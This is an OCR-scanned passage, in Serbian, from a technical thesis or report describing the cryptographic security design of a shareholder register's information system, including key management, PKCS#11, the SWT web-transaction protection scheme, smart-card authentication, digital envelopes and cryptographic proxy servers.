standardnih simetri¢nih algoritama, kao S§to su : DES, 3DES, RC2, RC4, IDEA,
AES, itd., tako 1 novo definisanih algoritama, $to se ne moZe naci u kriptografskim
reSenjima dostupnim na trzistu. U namenski realizovanim kriptografskim
aplikacijama Registra akcija i akcionara, koris¢eni su iskljuc¢ivo sopstveno
realizovani simetri¢ni kriptografski algoritmi visokog kriptoloskog kvaliteta, koji su
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dizajnirani od strane nadlezne drzavne institucije za poslove kriptozaStite u nasoj
zemlji. Poseban kvalitet ove funkcije je u moguénosti verifikacije funkcionisanja
modula kriptozastite, kao i u potpunom poverenju u njihov kvalitet.

Sistem upravljanja klju¢evima se moZe ostvariti na viSe nacina. Simetri¢ni kljucevi
mogu biti smeSteni na smart karticama S§to =zahteva koriS¢enje relativno
komplikovanog centralizovanog sistema upravljanja klju¢evim sistema zasStite. Sa
druge strane, ovaj sistem upravljanja klju¢evima poseduje visok nivo bezbednosti.
Alternativni sistem upravljanja klju€evima je koriS€enje takozvanih sesijskih
simetriénih kljuceva. Naime, moguce je pre svake komunikacije generisati na
predajnoj strani slucajnu veli¢inu koja ¢e predstavljati sesijski klju¢ za datu
komunikaciju. Ova veli¢ina se, zatim, zajedno sa Sifrovanom porukom Salje na
odredeni nacin. Recimo primenom postupka digitalne anvelope, koji ¢e u kasnijem
izlaganju biti detaljnije opisan. Opisani sistem predstavlja jednostavniji sistem
upravljanja klju¢evima, jer se novi kljuc¢ koristi za svaku komunikaciju 1 nakon toga se
viSe ne pamti, te ga nije potrebno Cuvati na smart kartici. Takode, datu poruku moze
procitati samo korisnik kome je poruka namenjena, jer on jedini moZe deSifrovati
sesijski klju¢ primenom asimetri¢nog algoritma i tajnog kljuc¢a sa smart Kartice.
Medutim, sa stanovista bezbednosti, u kriptografskoj literaturi postoji uverenje da je
sesijski klju¢ manje bezbedan ako se prenosi Sifrovan asimetriénim kriptografskim
algoritmom na bazi poznatog javnog kljuca, u odnosu na njegovo ¢uvanje na smart
kartici.

Moguce je koristiti 1 kombinovani sistem upravljanja klju¢evima koji bi koristio
kljuceve dobijene kombinacijom kljuca sa smart kartice 1 sesijskog kljuca za svaku
komunikaciju, koji u tom slu¢aju predstavlja takozvani klju¢ poruke - message key. U
sistemu zaStite je moguce koristiti 1 hibridne sisteme za upravljanje klju¢evima, u
zavisnosti od karaktera specijalizovanih aplikacija za koje se koriste.

4.3.6 DESIFROVANJE

.....

I zasniva se na koris¢enju identi¢nog simetri¢nog algoritma i identi¢nog kljuca sa
onim koji su kori§¢eni za Sifrovanje. Kako je napred navedeno, klju¢ za deSifrovanje
se moze dobiti sa smart kartice korisnika ili se dobija u okviru poruke, ukoliko je u
obliku digitalne anvelope ili se koristi neki od kombinovanih postupaka.

Na sledecoj slici je prikazan nacin Sifrovanja 1 deSifrovanja podataka u simetricnom
Sifarskom sistemu :
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Slika 4.9 Sematski prikaz procesa $ifrovanja i desifrovanja u simetri¢nom §ifarskom
sistemu

4.4 NACIN FUNKCIONISANJA KRIPTOGRAFSKOG SISTEMA

Nakon iznosenja teorijskih osnova u prethodnom delu teksta, u narednim poglavljima
¢e viSe biti re¢i o nainu primene kriptografske zaStite u informacionom sistemu
registra akcija 1 akcionara. Svakako, 1 dalje ¢e, gde se za tim ukaZe potreba, biti data
teorijska tumacenja primenjenih mehanizama. Ipak, osnovu izlaganja ¢e predstavljati
opis primene izlozenih kriptografskih koncepata.

4.4.1 KORISCENJE PKCS STANDARDA

PKCS standardi se koriste prilikom realizacije kriptografskih funkcija. PKCS
standardi su otvoreni, §to znaci da su sve funkcije realizovane uz poStovanje
pomenutih standarda medusobno kompatibilne. Detaljniji pregled PKCS standarda je
dat u Appendix-u D. Najveéim dostignuéem se moze smatrati moguénost
interoperabilnosti sa drugim sertifikacionim telom, ukoliko se za tim ukaze potreba. U
narednom izlaganju ¢e posebno biti razmotren standard PKCS#11, kao standard od
kljucne vaznosti za funkcionisanje bezbednosnog sistema registra.

PKCS#11 standard definiSe aplikacioni programerski interfejs - API, u odnosu na
softverske ili hardverske modulime koji sadrze kriptografske informacije ili
izvrSavaju kriptografske funkcije. Primenom ovog standardnog interfejsa, aplikacija
ne mora obracati paznju na koji nain su kriptografske funkcije realizovane,
softverski, hardverski ili kombinovano, ve¢ je bitno samo da se odgovarajuce
funkcije pozivaju na standardizovan nacin. Svi najveéi svetski proizvodaci
kriptografskih proizvoda primenjuju PKCS#11 standardni interfejs za realizaciju
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kriptografskih funkcija. Opisani kriptografski API sadrzi funkcije koje su realizovane
u skladu sa PKCS#11 standardnim interfejsom.

U okviru Registra akcija i akcionara, u skladu sa usvojenom politikom zastite,
definisani su razli¢iti nivoi zastite. Takode su definisane i posebne grupe korisnika
kojima su dostupni odredeni nivoi zastite. Sistem zaStite je organizovan tako da se
kroz kriptografske aplikacije 1 servise omogucava samo odredenim korisnicima sa
specijalnim ovlas¢enjima, sa posebnim smart karticama, da mogu Koristiti
aplikacije koje ukljuc¢uju potpuni skup funkcija kriptografskog API, dok ostali
korisnici mogu koristiti samo delimi¢ni skup funkcija. Takode je predvideno da
odredeni skup korisnika koristi jedan tip Kriptografskih algoritama, recimo
simetri¢nih, dok se za drugi skup korisnika koristi drugi tip kriptografskih algoritama.
U svakom sluc¢aju, u okviru informacionog sistema Registra akcija 1 akcionara
predvidena je mogucénost kori§¢enja razli¢itih tipova smart kartica za korisnike sa
razli¢itim ovlas¢enjima u pogledu koriS¢enja sistema zastite. Na opisani nacin, sistem
zaStite je dobio na fleksibilnosti i omoguéava svakom novom korisniku
informacionog sistema izbor naina koriS¢enja sistema zaStite, uz neophodno
obezbedenje da se pri tome ne naruSava nivo bezbednosti kompletnog sistema.

Opisani skup funkcija se koristi i u sistemima bezbednog digitalnog arhiviranja
podataka. Naime, u digitalnim arhivama, elektronski dokumenti se smeStaju u
odgovaraju¢u bazu podataka uz digitalni potpis onoga ko je zapis formirao. Pored
toga, odredeni podaci se dodatno Sifruju i smeStaju u bazu podataka, ukoliko nose
odgovarajuci stepen poverljivosti. U tom smislu, u sistemu je definisana i funkcija
bezbednosnog markiranja podataka - security labeling, za propisno upravljanje
bezbednosnim podacima. OpSti princip je da svi podaci koji proizvode pravno
dejstvo, i na koje se neki organ referiSe u svom radu, moraju kao minimum zahteva
sadrzati digitalni potpis za zastitu njihovog integriteta i spreavanje neovlascene
modifikacije. Ostvarivanje funkcije bezbednog arhiviranja podataka u elektronskom
obliku uz digitalni potpis, i eventualno Sifrovanje, uvelo je potpunu primenu
elektronskog poslovanja u Registru akcija i akcionara.

4.4.2 SISTEM ZASTITE WEB TRANSAKCIJA

Jedna od najrasprostranjenijih standardnih klijent-server Internet opStenamenskih
aplikacija je http komunikacija ili Web servis u okviru koga je potrebno realizovati
pouzdan sistem zaStite. Za tu namenu je razvijeno, verifikovano i u praksi dokazano
reSenje sistema zaStite Web servisa pod imenom zasticene Web transakcije - SWT.

U okviru pomenutog reSenja, u skladu sa odgovarajuom usvojenom politikom
zaStite predvida se viSeslojna struktura i slojevitost sistema zaStite. U odnosu na
kriptografski kvalitet i kompletnost reSenja, sistemi za zastitu Web transakcija se
mogu podeliti na sledece Cetiri kategorije reSenja :
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1. Sistem sa uklju¢enom zaStitom samo na aplikativnom nivou 1 nezaSticenom -
otvorenom http komunikacijom na transportnom nivou,

2. Sistem zaStite na aplikativnom nivou i koris¢enje standardnog SSL protokola
za zastitu http komunikacije klijenta i servera na transportnom nivou, pri
¢emu se u fazi autentifikacije razmenjuje sopstveno realizovani digitalni
sertifikat Web servera,

3. Sistem zastite na aplikativnom nivou i kori$¢enje standardnog SSL protokola
za zastitu http komunikacije klijenta i servera na transportnom nivou, pri
¢emu se u fazi autentifikacije razmenjuju sopstveno realizovani digitalni
sertifikati koji su ugradeni u Web server i klijentski Internet browser
program,

4. Koris¢enje prethodno opisanog sistema SWT sa realizacijom kriptografske
zaStite koja je u potpunosti samostalno realizovana, kako na aplikativnom tako
I na transportnom nivou.

Nakon detaljnog razmatranja kako moguc¢ih opcija, tako 1 potreba 1 zahteva
informacionog sistema Registra, odluceno je da se u okviru informacionog sistema
Registra primeni druga navedena opcija. Opcija realizacije Web transakcija
zasnovana na drugoj navednoj opciji, je izbrana iz razloga kvaliteta zastite, kao i
optimalnog vremena potrebnog za projektovanje i implementaciju. Opcija ukljucuje
SWT mehanizme zastite na aplikativnom nivou i SSL protokol na transportnom
nivou.

SWT je namenjen za integraciju u savremene client-server arhitekture koje se
realizuju na TCP/IP mreznim protokolima, uz primenu Web aplikativnih
tehnologija. SWT sistem je razvijen sa ciljem kriptografske podrSke komunikaciji
izmedu Web klijenta pri ¢emu se koriste standardni Internet browser program i Web
server implementacija kvalitenih kriptografskih funkcija. SWT sistem je
prvenstveno namenjen za zastitu u sistemima elektronske trgovine i poslovanja, e-
commerce i e-business, ali se moze koristiti i za kompletnu zaStitu bilo koje
http komunikacije. Sistem SWT je sliéan standardizovanom i Siroko
rasprostranjenom SSL protokolu. Medutim, SWT sistem ima Cetiri osnovne prednosti
u odnosu na SSL protokol :

1. Sistem SWT realizuje funkcije zaStite podataka na aplikativnom nivou
koriS¢enjem asimetri¢nih 1 simetri¢nih kriptografskih sistema,

2. Sistem SWT ukljucuje originalnu proceduru autentifikacije klijenta i servera za
uspostavljanje  kriptografskog tunela na transportnom nivou,
kriptografski jacu od procedure autentifikacije primenjene u SSL
protokolu,

3. Obzirom da predstavlja proizvod domaceg razvoja i da je pod punom
kontrolom proizvodaca, sistem SWT ukljucuje moguénost, pored ugradnje
standardnih odnosno javnih algoritama i ugradnju privatnih simetri¢inih
algoritama, definisanih od strane samih korisnika, kako za zaStitu tajnosti
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podataka na aplikativnom nivou, tako i za realizaciju kriptografskog tunela na
transportnom nivou,

4. Obzirom da je plod domaceg razvoja, sistem SWT je moguce u potpunosti

verifikovati na nivou izvornog koda.

U sistemu SWT se primenjuje kombinacija tehnika za realizaciju kriptografskog
tunela na transportnom nivou i zastite na aplikativnom nivou kori$éenjem simetri¢nih i
asimetriCinih Sifarskih sistema.

Sistem SWT se sastoji od transportnog i aplikativnog SWT modula :

Transportni SWT modul se bazira na kripto-proksi modulima - KPM, zastite.
KPM je realizovan direktnim programiranjem TCP/IP steka na nivou socket-a.
Primenom KPM modula na klijentskoj i serverskoj strani ostvaruje se
zaSti¢ena komunikacija koja je nedostupna za sve ostale u¢esnike na mrezi.
U tehni¢kom smislu vrsi se kriptografsko tuneliranje TCP/IP komunikacije i
prenos podataka zasticenim kanalom - encryption tunneling, izmedu klijenta
i servera. Pored funkcija tajnosti ostvarene su i funkcije autenti¢nosti
primenom autentifikacionog protokola tipa chalenge-response. Ovaj protokol
se realizuje u fazi uspostavljanja konekcije - handshake.

Aplikativni SWT modul realizuje standardne funkcije digitalnog potpisa i
zastite tajnosti podataka. Aplikativni SWT modul je u sprezi sa modulom za
Citanje smart kartica - SCM, koje se koriste za Cuvanje tajnih kljuceva i
digitalnih sertifikata. Pomenuti modul moze koristiti tajne klju€eve 1 sa drugih
medijuma, kao Sto su disketa ili hard disk, ali se takva primena ne
preporucuje jer bi se time bitno smanjila bezbednost i pouzdanost sistema
zaStite. Funkcije aplikativnog kriptografskog modula su integrisane u http

.....

realizovan kao ActiveX komponenta koja je instalirana i na serveru i na
klijentu i povezana je sa aplikativnhon logikom u okviru HTML stranica.
Moguce je koristiti i JAVA aplete. ActiveX komponente ili JAVA apleti mogu
biti instalirani kod Klijenta ili se mogu prekopirati sa servera. U zavisnosti od
tipa aplikacije moguce je Stititi podatke koji se dinamic¢ki unose u
interaktivnoj razmeni izmedu klijenta i servera, on-line, kao podatke koji su
ve¢ ranije pripremljeni i nalaze se na disku, off-line.

U sistemu razlikujemo dve komponente SWT sistema :

1.

2.

Serverska SWT/S komponenta sistema zaStite koja je instalirana na Web
serveru,

Klijentska SWT/C komponenta sistema zastite na klijentskom radunaru na
kome se nalazi prezentaciona logika - Internet browser program.

Obe komponente SWT sistema se baziraju na modularnoj strukturi, slicnoj onoj
primenjenoj u KPS serverima zastite i obe poseduju i aplikativni i transportni SWT
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modul. Osnovna razlika pomenutih SWT komponenti je u klijentskom i serverskom
lokalnom aplikativnom interfejsu SWAL, preko koga se ove komponente integriSu u
Web aplikaciju. SWAL modul omogucava Web aplikacijama koris¢enje skupa
kriptografskih funkcija, neophodnih za zastitu na aplikativnom nivou, koje ¢ine :

- Sifrovanje i deSifrovanije,

- Digitalni potpis i verifikacija,

- Otvaranje i zatvaranje zasti¢enih sesija,

- Prijava i odjava korisnika za rad sa SWT aplikacijom.

Kao i u slucaju uspostavljanja veze izmedu KPS servera zaStite, u komunikaciji
klijentske i serverske komponente SWT sistema, na aplikativnom i na transportnom
nivou, razlikujemo dve faze :

1. Autentifikaciju i razmenu kljuceva,
2. Zasti¢enu komunikaciju.

Na transportnom nivou, autentifikacija se zasniva na razmeni digitalnih sertifikata i
sesijskog kljuca za uspostavljanje kriptografskog tunela izmedu komponenti SWT
sistema na transportnom nivou, kripto proksi komponenete, i podrazumeva sledece
faze :

- Slanje http zahteva od strane klijenta,

- Autentifikacija servera - verifikacija serverskog sertifikata od strane klijenta,

- Autentifikacija klijenta - verifikacija klijentskog sertifikata i potpisa od strane
servera,

- Generisanje sesijskih kljuceva,

- Razmena sesijskih kljuceva koris¢enjem asimetri¢nog algoritma.

Na aplikativnom nivou, pored razmene digitalnih sertifikata 1 sesijskog kljuca za
Sifrovanje na aplikativnom nivou, u okviru autentifikacione procedure na bezbedan
nacin se prenosi korisni¢ko ime i lozinka korisnika u cilju autentifikacije za
odredeni servis koji se koristiti u okviru informacionog sistema Registra. Opisana
procedura je veoma sli¢na autentifikacionoj proceduri na transportnom nivou sa
uklju¢enim zaSti¢enim, Sifrovanim 1 digitalno potpisanim, prenosom korisni¢kog
imena i lozinke klijenta koji se koriste za autentifikaciju klijenta na aplikativnom
nivou. Ova autentifikacija je centralizovana radi uspostavljanja jedinstvene tacke
pristupa svih ovlas¢enih korisnika informacionog sistema.

Procedure autentifikacije na transportnom i aplikativnom nivou predstavljaju
originalno razvijene procedure koje su challenge-response tipa, kao i
autetntifikaciona procedura primenjena u standardnom SSL protokolu, ali koje su
kriptografski jace od procedure primenjene u SSL protokolu iz dva osnovna
razloga:
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1. Procedure primenjene u SWT sistemu na aplikativnom i transportnom nivou
ukljuc¢uju digitalni potpis 1 Sifrovanje podataka koji se razmenjuju i1 na
klijentskoj i na serverskoj strani.

2. U ovim procedurama se simetri¢ni klju¢ za Sifrovanje - sesijski kljuc¢, u
jednoj sesiji formira od delova sesijskog kljuca koji se generiSu i na klijentskoj
I na serverskoj strani.

Zasticena komunikacija obuhvata Sifrovanje 1 deSifrovanje svih podataka kako na
transportnom nivou - kriptografski tunel, tako i na aplikativnom nivou primenom
simetricnog kriptografskog algoritma i1 razmenjenog sesijskog kljuca.

4.4.3 KRIPTOGRAFSKI MEHANIZMI ZASTITE U
TROSLOJNOJ ARHITEKTURI

U kontekstu savremenih kretanja, kao opsteprihvaceni trend u razvoju Internet
aplikacija, primenjuju se troslojne ili viSeslojne arhitekture aplikacija na bazi Web
komunikacije. U tom smislu, tipi¢na troslojna aplikacija se sastoji se od :

1. Klijenta,
2. Web servera i
3. Baze podataka.

Pri tome, klijent najcesce predstavlja standardni Internet browser program, dok Web
server moze biti kombinacija Web servera i aplikativnog servera.

Sistem zastite ovakve arhitekture se generalno sastoji iz dva segmenta :

1. Zastita izmedu klijenta i Web servera i
2. Zastitaizmedu Web servera i servera baze podataka.

Zastita izmedu klijenta i Web servera je ostvarena primenom mehanizama zastite na
aplikativnom i transportnom nivou, kao Sto je opisani SWT sistem. Zastita izmedu
Web servera i servera baze podataka je realizovana primenom mrezne barijere -
firewall. Ova mrezna barijera ima veoma bitnu i osetljivu ulogu krajnje instance
zaStite servera baze podataka, te je neophodno da to bude kriptografski Sto
kvalitetnija mrezna barijera. U tu svrhu se koristi KPS server zastite, kao sopstvena
mrezna barijera na aplikativnom i transportnom nivou, koji poseduje dve mrezne
kartice za bezbednu separaciju mreznih segmenata. Prilikom koris¢enja kombinacije
Web servera i aplikativnog servera, KPS server zastite je postavljen izmedu
aplikativnog servera i baze podataka. U tom slucéaju, ukoliko je neophodno, i shodno
konfiguraciji mreze, dodatna bezbednost se postize primenom dodatnog firewall-a
izmedu Web servera i Web aplikativnog servera.

U ovakvoj konfiguraciji je neophodno je da se na Web serveru ili na Web
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aplikativnom serveru, ugradi kriptografska komponenta, pod nazivom KPS gejtvej,
koja sluzi za uspostavljanje kriptografske komunikacije - jaka autentifikacija i
kriptografski tunel izmedu Web aplikativnog servera i servera baze podataka.

4.44 ZASTITA NA APLIKATIVNOM NIVOU

Zastita na aplikativnom nivou Web komunikacije u okviru Registra akcija i
akcionara je realizovana primenom SWT aplikativnog modula zaStite koji se bazira
na originalnoj proceduri autentifikacije, Kklijentskom softveru Kkoji realizuje
asimetri¢ne i simetri¢ne kriptografske algoritme i odgovarajuéem tokenu za smesStanje
kriptografskih parametara kao i odgovarajuéem serverskom softveru zastite koji je
instaliran na aplikativnom serveru Registra i koji sluzi kao drugi kraj u zastiti ,,s
kraja na kraj* od klijenta do servera.

Moguce su tri varijante reSenja zastite na aplikativnom nivou :

1. Resenje koje se bazira na koris¢enju korisni¢kog imena i lozinke, kao i na
¢isto softverskoj klijentskoj kriptografskoj aplikaciji,

2. Resenje koje se bazira na kori$é¢enju korisnickog imena i lozinke, kao i na
klijentskoj kriptografskoj aplikaciji koja se zasniva na kori§¢enju mini CD-
a, kao dodatne hardverske komponente,

3. Resenje koje se bazira na koris¢enju korisni¢kog imena i lozinke, kao i na
klijentskoj kriptografskoj aplikaciji koja se zasniva na kori§¢enju smart
kartice, kao dodatne hardverske i kriptografske komponente.

U prvoj pomenutoj varijanti, kriptografski kljucevi, simetri¢ini 1 asimetricni, se
Cuvaju Sifrovani na hard disku klijentskog ra¢unara. Ovo reSenje je
najjednostavnije i najjeftinije. Medutim, ovo reSenje se bazira na
jednokomponentnoj proceduri autentifikacije, samo kori§¢enjem onoga Sto se zna -
korisni¢ko ime i lozinka, Sto je nedovoljno bezbedno sa kriptografskog stanovista,
jer su kljucevi smesteni u okviru nebezbednog okruzenja operativnog sistema
klijentske radne stanice. Takode, nije obezbedena funkcija neporecivosti transakcija
u slucaju primene tehnologije digitalnog potpisa.

Druga varijanta predstavlja reSenje u kome se klju¢evi ¢uvaju Sifrovani na mini CD-
u, kao dodatnom hardverskom elementu. Nivo bezbednosti je isti kao i u prvom
slucaju, ali je procedura autentifikacije sada dvokomponentna jer se koristi ono sto
se zna, korisni¢ko ime i lozinka kao i ono S$to se poseduje - mini CD. Ni u ovom
slu¢aju nije obezbedena funkcija neporecivosti transakcija u slucaju primene
tehnologije digitalnog potpisa.

Treca varijanta predstavlja reSenje koje je primenjeno u Registru, 1 koje se sastoji

od dvokomponentne procedure jake autentifikacije, hardverska komponenta je smart
kartica, koja je bezbedno okruzenje za generisanje asimetri¢nih kljuceva i digitalnog
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potpisa, kao 1 za Cuvanje Sifrovanih simetri¢nih kljuceva i digitalnih sertifikata.
Digitalni potpis je realizovan na smart kartici, te ovakvo reSenje u potpunosti
realizuje funkcije autenti¢nosti, zastite integriteta poruka i neporecivosti transakcija.

U sva tri slucaja bi bilo moguce klijentski softver instalirati na klijentu ili ga
pokretati sa Web aplikativnog servera.

U okviru Registra akcija i akcionara je primenjena smart kartica za digitalno
potpisivanje 1 kao nosilac kriptografskih parametara, asimetri¢ni 1 simetri¢ni kljucevi,
i digitalnih sertifikata. Primenjeno reSenje se bazira na slede¢im principima :

- Koriste se dva para asimetri¢nih klju¢eva odnosno dva digitalna sertifikata :
jedan za digitalno potpisivanje, a drugi za identifikaciju i primenu u okviru
tehnologije digitalne anvelope,

- Asimetric¢ni par klju¢eva za digitalno potpisivanje se generise na samoj Kkartici,
pri ¢emu tajni klju¢ nikada ne napusta smart karticu. Takode, digitalni potpis
se vrSi na samoj smart Kkartici, obezbeduju¢i na taj nain funkciju
neporecivosti digitalno potpisanih transakcija,

- Asimetriéni par kljuceva za identifikaciju i digitalnu anvelopu se generiSe u
okviru Sertifikacionog tela, pri ¢emu se tajni klju¢ cuva u okviru CA za
potrebe eventualnog desifrovanja poruka za odredenog korisnika, u slucaju
gubitka smart kartice tog korisnika ili za neke druge potrebe.

Sistem upravljanja simetricnim kljuevima se zasniva na kori$¢enju sesijskih
simetricnih kljuceva. Naime, kao §to je ve¢ receno, pre svake komunikacije se
kreira slu€ajna veli¢ina koja ¢e predstavljati sesijski klju¢ za datu komunikaciju i
koja se generiSe na klijentskoj i na serverskoj strani. Sesijski klju¢ se zatim, zajedno
sa Sifrovanom porukom, Salje primenom postupka digitalne anvelope.

Na slede¢im slikama je dat grafi¢ki prikaz funkcionisanja sistema digitalne anvelope
koji se sastoji iz dva procesa. Prvi proces je proces Sifrovanja i on se odvija na strani
posaljioca podataka, dok je drugi proces proces deSifrovanja i on se odvija na strani
primaoca podataka :
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Slika 4.10 Sematski prikaz procesa Sifrovanja u procesu primene digitalne anvelope
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Slika 4.11 Sematski prikaz procesa desifrovanja u procesu primene digitalne anvelope

Ovaj sistem predstavlja veoma efikasan sistem upravljanja klju¢evima, jer se novi
klju¢ koristi za svaku komunikaciju 1 nakon toga se viSe ne pamti i nije ga potrebno
Cuvati na smart Kartici. Takode, datu poruku moze procitati samo korisnik kome je
ona namenjena, jer on jedini moze deSifrovati sesijski klju¢ primenom asimetri¢nog
algoritma 1 tajnog kljuca sa smart kartice. Moguce je koristiti 1 kombinovani sistem
upravljanja klju¢evima koji bi koristio kljuceve koji bi se dobijali kombinacijom
kljuca sa smart kartice i sesijskog kljuca za svaku komunikaciju, a koji bi u tom
sluc¢aju predstavljao takozvani klju¢ poruke - message key. U sistemu zaStite je
moguce koristiti i hibridne sisteme upravljanja klju¢evima u zavisnosti od karaktera
specijalizovanih aplikacija za koje se koriste.
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4.45 KRIPTOGRAFSKI PROKSI SERVER

Kriptografski proksi serveri - KPS, su namenjeni za logi¢ku i kriptografsku
separaciju mreznih segmenata. U okviru ¢voriSta informacionog sistema Registra,
instalirani su KPS preko kojih se ostvaruje zastiCena razmena podataka na
aplikativnom i transportnom nivou. KPS imaju ulogu sopstveno realizovanih
mreznih barijera - firewall, za kriptografsko razdvajanje bezbednosno kriti¢nih
delova od opStenamenskih delova mreze i komunikacionog segmenta. KPS poseduje
dve mrezne Kkartice, pri ¢emu je jedna prikljuena na bezbednu LAN mrezu
posmatranog ¢voriSta informacionog sistema, dok je druga povezana sa
komunikacionim uredajima u okviru internog komunikacionog TCP/IP segmenta.
Moze se zakljuciti da KPS razdvajaju na aplikativnom i transportnom nivou osetljivi
deo LAN mreze a to je ¢voriste informacionog sistema i komunikacionog segmenta.

U realizaciji pomenutih servera zaStite primenjeni su aplikacioni i transportni proksi
serveri, u nastojanju da se iskoriste dobre strane i jednog i drugog reSenja
kriptografskih gejtveja :

1. Aplikacioni proksi server za zaStitu na aplikativnom nivou omogucuje
analizu semantike podataka koji su specifi¢ni za specijalizovane aplikacije,

2. Transportni proksi server za zaStitu na transportnom nivou obezbeduje jaku
proveru autenti¢nosti 1 implementaciju kriptografskog tunela izmedu servera
koji je nezavisan od samih podataka. Na opisani nacin se realizuju virtuelne
privatne mreze - VPN, na transportnom nivou.

Opisanim kriptografskim proksi serverima - KPS, zastita na aplikativnom nivou se
ostvaruje primenom asimetri¢nih kriptografskih algoritama =za realizaciju
tehnologije digitalnog potpisa i fajlova koji se prenose. Na ovaj nadin se postize
provera autenti¢nosti servera, zaStita integriteta podataka koji se prenose kroz
informacioni sistem, kao 1 nemogucnost poricanja emisije datih podataka. Pored toga,
primenom simetri¢nih Sifarskih sistema ostvaruje se zastita tajnosti podataka.
Zastita na transportnom nivou se realizuje primenom sopstveno razvijenog,
specijalizovanog protokola za komunikaciju izmedu servera, kao i1 primenom
simetri¢nih kriptografskih algoritama za zastitu tajnosti celokupne komunikacije
izmedu servera formiranjem kriptografskog tunela. KPS serveri podrzavaju zasti¢eni
prenos kako standardizovanih poruka, vezanih za razli¢ite aplikacije u
informacionom sistemu Registra, tako 1 poseban servis zaSticenog prenosa fajlova u
realnom vremenu za potrebe razmene veéih fajlova u sistemu kao $to su periodiéni
izvestaji 1 sli¢no. Najvisi nivo zastite internih delova ¢voriSta informacionog sistema je
mogu¢ jedino uz primenu kombinovane aplikativne i transportne zastite.

Kao §to je ve¢ receno, KPS serveri zastite poseduju dve mrezne kartice, pri ¢emu je

jedna prikljuena u bezbednu LAN mrezu datog ¢voriSta informacionog sistema, a
druga na opStenamenski deo mreze datog ¢voriSta sa komunikacionim uredajima u
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okviru komunikacionog TCP/IP segmenta. OpStenamenski segment LAN mreZe spada
u kategoriju koja se naziva demilitarizovanom zonom - DMZ [38]. lzgled
koncepcije mreze sa DMZ je dat na sledecoj slici :

|J"'
-’ — Spoljasnji ruter
Web

Server
= j Firewall
|

Interni LAN

Slika 4.12 Koncepcija mreze sa DMZ

U opStenamenskom delu se izvrSavaju standardne Intranet/Internet aplikacije koje
imaju nizi bezbednosni rizik, kao Sto su e-mail, ftp i http, i u tom delu se nalaze
serveri za realizaciju ovih aplikacija. Zastita opStenamenskog dela se moze dodatno
ostvariti primenom komercijalnog firewall-a. Medutim, ¢injenica je da komercijalni
firewall proizvodi ne nude potreban nivo zastite osetljivih delova mreze. Najvisi nivo
zaStite ovih delova ¢vorista je mogué jedino uz primenu kombinovane aplikativne i
¢vorista, primenjuje KPS server zaStite, kao sopstvene firewall komponente, koji
predstavlja realizaciju aplikativnog i transportnog kriptografskog gateway-a.
Opstenamenski deo mreze obezbeduje zastitu bezbednosno osetljivih informacija, a
bezbedni deo mreze pruza zastitu za visoko poverljive informacije i aplikacije koje ih
obraduju.

Osnovne kriptografske karakteristike KPS servera zastite su :

- Zastita na aplikativnom nivou primenom RSA asimetricnog kriptografskog
algoritma sa kljuéem duzine minimalno1024 bita,

- Zadtita na transportnom nivou bazira se na koriS¢enju simetri¢nih Sifarskih
sistema sa duzinom kljuc¢a od 256 bita,

- Primena procedure jake autentifikacije, strong authentication certificate
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based procedure, za ostvarivanje kriptografskog tunela izmedu dva KPS
servera zastite,

- Primenjena je procedura jake autorizacije administratora servera bazirana na
smart karticama. KPS serveri zastite su opremljeni ¢itaGima smart kartica,

- Ostvarena je dodatna zaStita primenom originalnog protokola komunikacije
1izmedu KPS servera - KPP,

- Moguce je ostvariti dodatnu zastitu primenom dodatnog protokola koji je
prilagoden aplikaciji Registra za pristup komunikacionom segmentu
informacionog sistema, protokol komunikacije izmedu radnih stanica
bezbednih delova ¢vora informacionog sistema, u krajnjim tackama
¢voristima - LPP. (Lokalni Pristupni Protokol).

Nakon instalacije aplikacija KPS servera zastite, za korektno startovanje aplikacije
potrebno je u ¢ita¢ smart kartica ubaciti smart karticu administratora datog servera i
izvrSiti proceduru jake autorizacije administratora servera.

Integritet softverskih izvrsnih modula aplikacija KPS servera zastite se dodatno Stiti
digitalnim potpisom proizvodaca ili vlasnika aplikacije koji se verifikuje pri svakom
startovanju aplikacije servera zaStite. Naime, prilikom formiranja instalacionog
programa aplikacije servera zastite, vrSi se digitalno potpisivanje svih izvrdnih
modula aplikacije primenom asimetricnog kriptografskog algoritma i tajnog kljuca
proizvodaca. Dobijeni digitalni potpis se zatim instalira sa aplikacijom na svaki server
zaStite. Verifikacijom dobijenog digitalnog potpisa sa svakim startovanjem aplikacije
servera onemogucava se zlonamerna modifikacija izvrSnih modula i1 eliminiSe se
moguénost napada tipa Trojanskog konja. Drugim rec¢ima, verifikacijom digitalnog
potpisa izvrSnog koda aplikacije realizuju se funkcije detekcije zlonamerne
modifikacije aplikacije zaStite - intrusion detection. Javni klju¢ asimetricnog
kriptografskog algoritma, pomocu koga se vr$i verifikacija, ugraden je u kod
aplikacije.

KPS serveri se realizuju na osnovu razvijenih proksi komponenti koje se ojacavaju
hardverskim modulima za zastitu. Sopstveni razvoj proksi servera daje moguénost
verifikacije njegovih funkcija Sto je neophodan uslov za poverenje i spre¢avanje
moguénosti za napade preko nedeklarisanih funkcija i skrivenih informacionih
kanala koji mogu postojati u komercijalnim proizvodima. Ovakav konceptualni
pristup razvoju sistema zaStite je svakako tezi za implementaciju, ali pruza
mogucénosti za ugradnju algoritama za realizaciju kriptografskih servisa 1 protokola,
koji su znatno kvalitetniji od komercijalno dostupnih reSenja kao Sto su DES, 3DES,
AES, RC2, RC4, itd.

Instalirani KPS serveri su komplementarni sa kriptografskim reSenjima na mreznom
nivou koja ukljucuju IPSec kriptografske mehanizme na mreznom nivou.

KPS serveri sadrze po dve LAN Kkartice. KPS server je preko jedne mrezne kartice
povezan U internu mrezu c¢vora informacionog sistema, a preko druge u
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komunikacioni segment preko odgovarajuceg rutera.
KPS serveri zastite se sastoje od tri osnovne komponente :

1. Lokalni aplikativni interfejs - LAI
LAl obezbeduje realizaciju protokola razmene poruka prema internom
informacionom sistemu ¢vora informacionog sistema. Pored toga, u okviru
LAI se realizuje kontrola upravljanja dolaznim i odlaznim redovima ¢ekanja za
poruke koje se razmenjuju - message queue management. U okviru LAI se
realizuje protokol upravljanja porukama - MHP, koji podrazumeva pripremu i
obradu poruka u smislu komunikacije sa spoljnim LAN mrezama, kao i
upravljanje dolaznim i odlaznim redovima ¢ekanja.

2. Kriptografsko jezgro servera zaStite
Kriptografsko jezgro predstavlja najvazniji deo servera i njime su obuhvaceni
moduli koji realizuju kriptografske funkcije i funkcije administracije i nadzora.

3. Mreini interfejs
Mrezni interfejs je namenjen za realizaciju KPP originalnog komunikacionog
protokola predvidenog za koriS¢enje u mrezi informacionog sistema. Mrezni
interfejs ostvaruje funkciju kriptografskog tunela izmedu KPS servera
